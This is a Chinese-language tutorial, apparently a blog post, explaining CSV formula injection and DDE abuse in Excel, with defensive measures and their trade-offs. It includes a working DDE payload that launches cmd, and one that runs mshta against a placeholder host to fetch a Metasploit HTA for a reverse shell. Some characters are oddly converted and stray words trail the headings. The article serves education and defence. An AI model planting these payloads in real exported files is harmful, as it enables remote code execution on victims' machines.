CSV文件注入漏洞简析

 

“对于网络安全来讲,一切的外部输入均是不可信的”。可是CSV文件注入漏洞确时常被疏忽,究其缘由,多是由于咱们脑海里的第一印象是把CSV文件看成了普通的文本文件,未能引发警戒。shell

1、漏洞定义浏览器

攻击者经过在CSV文件中构造恶意的命令或函数,使得正经常使用户在使用Excel打开这个CSV文件后恶意的命令或函数被执行,从而形成攻击行为。安全

2、漏洞产生的缘由服务器

一、CSV文件中的几个特殊符号“+、-、@、=”网络

尝试在CSV单元格中输入“=1+1”,回车后,发现单元格的值变成了2,说明加号被当作运算执行了。函数

 

除了加号,“-”、“@”、“=”也会被解释为公式。网站

二、DDE(Dynamic Data Exchange)spa

DDE是Windows下进程间通讯协议,是一种动态数据交换机制,使用DDE通信须要两个Windows应用程序,其中一个做为服务器处理信息,另一个做为客户机从服务器得到信息。DDE支持Microsoft Excel,LibreOffice和Apache OpenOffice。 Excel、Word、Rtf、Outlook均可以使用这种机制,根据外部应用的处理结果来更新内容。所以,若是咱们制做包含DDE公式的CSV文件,那么在打开该文件时,Excel就会尝试执行外部应用操作系统

3、漏洞演示日志

一、OS命令执行

经过在CSV文件中构建DDE公式,能够调用CMD达到执行操做系统命令的目的。

以下图所示,在单元格中输入1+cmd|’/C calc’!A0,回车后Excel会弹出一个框,提醒Excel须要启动另一个程序(cmd),点击是,Windows会弹出计算器窗口。

利用Metasploit能够生成payload,可使用下面的注入执行payload,从而达到反弹shell的目的。

=1+cmd|'/c mshta.exe http://XXXXX:8080/Micropoor.hta '!A0

所以,利用这种漏洞危害,咱们能够在用户的操做系统上执行添加用户、开启任意程序、操做注册表、反弹shell等命令。

二、跳转至钓鱼网站

当用户点击下面连接时,会使用IE浏览器打开攻击者提供的钓鱼网站,起到钓鱼的目的。

 

三、信息泄露

经过在CSV文件中注入超连接函数,当用户打开文件并点击连接时,能够把指定的单元格内容提交到指定网址(以下提交A2/A3单元格的内容)。

 

4、漏洞发生的场景

当网站提供CSV文件导出功能时,若是用户能够控制CSV文件的内容,就可能发送此类攻击。

好比攻击者能够在登陆输入框、以及其余的查询、写入功能中注入恶意命令,当管理员使用CSV格式导出网站日志时,就可能发生此类攻击。

5、漏洞防护

一、确保单元格不以特殊字符(“+、-、@、=”)开头;

二、对单元格的内容进行特殊字符(“+、-、@、=”)过滤;

三、先对原始输入内容进行转义(双引号前多加一个双引号),而后在添加tab键和双引号防止注入;

四、禁止导出CSV、Excel格式;

五、导出为Excel格式前,利用代码把单元格的格式设置为文本(对CSV不生效)。

防护措施面临的困难:

一、对单元格内容进行处理势必会改变原始内容,对于须要数据导出后在导入其余系统进行执行的场景,对业务会有影响;

二、对于数据量大的场景,若是在导出进行过滤、转义等操做,会影响导出效率。

相关文章
相关标签/搜索